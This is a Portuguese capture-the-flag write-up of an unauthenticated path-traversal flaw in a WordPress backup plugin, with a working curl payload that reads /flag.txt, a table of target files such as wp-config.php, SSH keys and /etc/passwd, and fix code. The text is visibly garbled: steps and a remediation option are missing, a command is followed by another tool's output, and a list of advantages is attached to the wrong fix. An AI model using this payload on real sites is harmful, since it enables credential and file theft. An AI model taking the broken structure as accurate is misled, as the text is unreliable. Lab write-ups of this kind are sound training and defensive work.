`page=backup_manager` encaminha a solicitação para o manipulador da página de administração do plugin; `download_backup_file` é o parâmetro que o código do plugin lê diretamente e concatena em um caminho do sistema de arquivos sem validação, permitindo travessia de diretório.

---

### Pontuação CVSS v3.1

**7.5 - ALTA** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

- **Vetor de Ataque (AV):** Rede
- **Complexidade do Ataque (AC):** Baixa
- **Privilégios Necessários (PR):** Nenhum
- **Interação do Usuário (UI):** Nenhuma
- **Escopo (S):** Inalterado
- **Confidencialidade (C):** Alta
- **Integridade (I):** Nenhuma
- **Disponibilidade (A):** Nenhuma

---

### Impacto nos Negócios

**Violação de Confidencialidade:** ⚠️ CRÍTICA

Os atacantes podem ler qualquer arquivo acessível ao servidor web, incluindo:

| Arquivo | Impacto | Nível de Risco |
|------|--------|------------|
| `/wp-config.php` | Credenciais do banco de dados, salts, chaves | 🔴 CRÍTICO |
| `/.env` | Chaves de API, segredos, configuração | 🔴 CRÍTICO |
| `/etc/passwd` | Enumeração de usuários, mapeamento do sistema | 🟠 ALTO |
| Chaves SSH (`.ssh/id_rsa`) | Movimento lateral, acesso ao sistema | 🔴 CRÍTICO |
| `/proc/self/environ` | Segredos da aplicação em execução | 🟠 ALTO |
| Diretório de uploads do usuário | Arquivos privados, mídia | 🟠 ALTO |

**Impacto Regulatório:**
- **Violação do GDPR:** Acesso não autorizado a dados do usuário
- **Violação do HIPAA:** Exposição de informações de saúde protegidas
- **Violação do PCI-DSS:** Acesso a dados de cartão de crédito ou informações de pagamento
- **Violação do SOC 2:** Quebra do requisito de confidencialidade

---

### Padrão de Código Vulnerável

O advisory do Exploit-DB (39883.txt, lido via `searchsploit -x` — veja [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)) documenta a primitiva de **exclusão** do plugin em `simple-backup-manager.php`:```php
if(array_key_exists('delete_backup_file', $_GET)){
    $this->delete_local_backup_file($_GET['delete_backup_file']);
}

`$filename` vem diretamente de `$_GET['delete_backup_file']` sem verificação de `basename()` ou de contenção de caminho. Passar `../pizza.txt` resolve `$bk_dir . $filename` para `.../simple-backup/../pizza.txt` → `.../pizza.txt`, escapando da pasta de backup pretendida.

A primitiva de **download** realmente explorada neste engajamento (`download_backup_file`) segue exatamente o mesmo padrão de concatenação não sanitizada no mesmo plugin, mas serve o arquivo de volta ao solicitante em vez de excluí-lo — o que permitiu a recuperação de `/flag.txt` da raiz do sistema de arquivos (10× `../` a partir de `ABSPATH/simple-backup/`).

**O Problema:**
- Nenhum uso de `basename()` para remover componentes de diretório
- Nenhuma lista de permissões de arquivos permitidos
- Nenhuma validação de que `realpath()` permanece dentro de `ABSPATH."simple-backup/"`
- Concatenação direta da entrada do usuário no caminho do arquivo
- Nenhuma verificação de `current_user_can()` / autenticação antes de servir o arquivo — o manipulador é executado no carregamento do plugin, antes do próprio gate de autenticação `wp-admin` do WordPress, portanto é acessível **sem estar logado**

---

### Prova de Conceito

#### **Fase 1: Acesso Inicial — Identificação da Aplicação**

Conexão direta ao alvo via navegador (`http://154.57.164.73:30706/`). A instalação do WordPress é intitulada **"GETTING STARTED"**, e uma postagem pública de blog na página inicial divulga o nome e a versão exatos do plugin em texto simples: **"Simple Backup Plugin 2.7.10 for WordPress"** — nenhuma ferramenta de enumeração foi sequer necessária para identificar o componente vulnerável.

![Acesso Inicial - Versão do plugin divulgada na página inicial do WordPress](https://assets.kitploit.com/production/public/readmes/51282/807a6be937aeb55de6f3c60b479762729a056e9134edd0f8bf3a0779b36b854f/46c8a8c16d715251f282bacf2522c3e620864b14008847867c32672ba0d051fd-display-v1.webp)

#### **Fase 2: Fingerprinting do Serviço**```bash
whatweb http://154.57.164.73:30706/

**Resultado:**```
Exploit Title                                              |  Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

O aviso documenta **Exclusão Arbitrária de Arquivos** não autenticada por meio do parâmetro `delete_backup_file`, e observa que arquivos de backup sob `simple-backup/` (e, pelo mesmo caminho de código não sanitizado, arquivos arbitrários via `download_backup_file`) podem ser recuperados sem autenticação.

![Vulnerability Research - Exploit-DB PoC 39883.txt read via searchsploit -x](https://assets.kitploit.com/production/public/readmes/51282/8d2f7a41935c4f9ebf4df1243ee68ba0628592b26411770696534eaa903851c4/7e636497c5d9d7382c9b0d7d5917938a399cf76f014b6e5fb754400078325e54-display-v1.webp)

#### **Fase 4: Exploração — Path Traversal via `download_backup_file`**

Endpoint vulnerável identificado a partir do roteamento da página de administração do plugin:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=

**GUI (usado nesta avaliação):** o URL do payload foi navegado diretamente na barra de endereço do navegador. Nenhum login foi necessário — o navegador acionou um download automático do arquivo `flag.txt` resolvido.

![Exploração - Payload de path traversal na barra de endereço do navegador, flag.txt baixado](https://assets.kitploit.com/production/public/readmes/51282/c02c8273770253f4f0c3b79c0e4de1ab7b8190bfdbbec554a90a25e22553a635/6d1a521bdea2df6ba65e17df783d9f81ea3da096daba3f9bde02bece60a8e406-display-v1.webp)

**Equivalente headless:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt

---

### Validação de Impacto

✅ **Confidencialidade Comprometida:** Qualquer arquivo legível pelo processo do servidor web fica acessível
✅ **Nenhuma Autenticação Necessária:** Usuários não autenticados podem explorar
✅ **Nenhuma Interação do Usuário Necessária:** Exploração direta por requisição HTTP
✅ **Repetível e Confiável:** Funciona em todas as versões vulneráveis
✅ **Dados Críticos de Negócios em Risco:** Arquivos de configuração, credenciais e dados de usuário expostos

---

## Remediação

### **Opção 1: Lista de Permissões de Entrada (Recomendado)**

Permitir apenas downloads de uma lista predefinida de arquivos:```php
<?php
// Define allowed backup files
$allowed_files = array(
    'backup_2024_01_15.zip',
    'backup_2024_01_16.zip',
    'backup_2024_01_17.zip',
);

$requested_file = $_GET['download_backup_file'];

// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
    die("File not found or access denied");
}

// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**Vantagens:**
- Lida com symlinks e caminhos complexos
- Verifica a contenção automaticamente
- Mais flexível do que whitelist

---

### **Opção 3: Use basename() para Apenas o Nome do Arquivo**

Extraia apenas o componente do nome do arquivo:```php
<?php
$user_input = $_GET['download_backup_file'];

// Remove all directory components
$file = basename($user_input);

// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists
if (!file_exists($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**Permissões do Sistema de Arquivos:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/

# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php

# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads

**Gestão de Atualizações:**

1. Desative ou remova o plugin Simple Backup
2. Instale uma solução de backup aprovada com auditoria de segurança
3. Atualize o WordPress para a versão mais recente
4. Atualize todos os plugins para as versões mais recentes
5. Atualize o PHP para 8.0+ com patches de segurança

---

## Cadeia de Ataque```
┌─────────────────────────────────────────────────────────────┐
│  1. INITIAL ACCESS                                          │
│  └─ Browse to 154.57.164.73:30706                           │
│  └─ WordPress "GETTING STARTED" site identified              │
│  └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  2. ENUMERATION                                             │
│  └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  3. VULNERABILITY RESEARCH                                  │
│  └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns)    │
│  └─ searchsploit -x → read PoC, identify unsanitized         │
│     delete_backup_file / download_backup_file parameters     │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  4. EXPLOITATION                                             │
│  └─ Endpoint: /wp-admin/tools.php?page=backup_manager        │
│  └─ Payload: download_backup_file=../..(x10)../flag.txt      │
│  └─ Browser navigates to payload URL (no login required)     │
│  └─ Plugin resolves path to /flag.txt and serves it          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  5. SUCCESS                                                 │
│  └─ Flag Retrieved: HTB{my_f1r57_h4ck}                       │
│  └─ Confidentiality Breached                                 │
│  └─ Unauthenticated arbitrary file read confirmed             │
└─────────────────────────────────────────────────────────────┘